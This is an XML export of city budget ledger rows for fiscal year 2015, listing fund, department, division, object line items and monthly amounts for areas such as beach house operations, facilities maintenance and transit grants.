<row _id="16888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3380.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3380.0</total></row>
<row _id="16889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2700.0</total></row>
<row _id="16890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>186926.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>186926.0</total></row>
<row _id="16891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561114.0</object><object_description>OPCC DAYBREAK-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561115.0</object><object_description>OPCC SAFE HAVEN-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561116.0</object><object_description>OPCC INTERIM HSG&amp;WELLNS-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8350.0</total></row>
<row _id="16894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>ST JOSEPH CENTER FSS - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7081.0</total></row>
<row _id="16895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8500.0</total></row>
<row _id="16896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95000.0</total></row>
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<row _id="16898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>294.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>294.0</total></row>
<row _id="16900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409150.0</object><object_description>PASSPORT SERV PHOTOS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9000.0</total></row>
<row _id="16901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561118.0</object><object_description>STEP UP ON 2ND SNCTURY-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="16902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-ARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="16903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66310.0</total></row>
<row _id="16904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17023.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17023.0</total></row>
<row _id="16905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="16906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>117029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>117029.0</total></row>
<row _id="16907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>130000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="16909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>555305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>555305.0</total></row>
<row _id="16910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14509.0</total></row>
<row _id="16911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3641.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3641.0</total></row>
<row _id="16912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12200.0</total></row>
<row _id="16913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3147.0</total></row>
<row _id="16914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4410.0</total></row>
<row _id="16915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>414.0</total></row>
<row _id="16916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2889410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2889410.0</total></row>
<row _id="16917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25221.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25221.0</total></row>
<row _id="16918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>565818.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>565818.0</total></row>
<row _id="16919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5328.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5328.0</total></row>
<row _id="16920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4171.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4171.0</total></row>
<row _id="16921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2872.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2872.0</total></row>
<row _id="16922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-8863.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8863.0</total></row>
<row _id="16924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
<row _id="16925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80208.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80208.0</total></row>
<row _id="16926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="16927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="16928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3529.0</total></row>
<row _id="16929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545020.0</object><object_description>CULTURAL PROGRAMMING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="16930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="16931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="16932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1876.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1876.0</total></row>
<row _id="16933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5237.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5237.0</total></row>
<row _id="16934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>110521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110521.0</total></row>
<row _id="16935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5807.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5807.0</total></row>
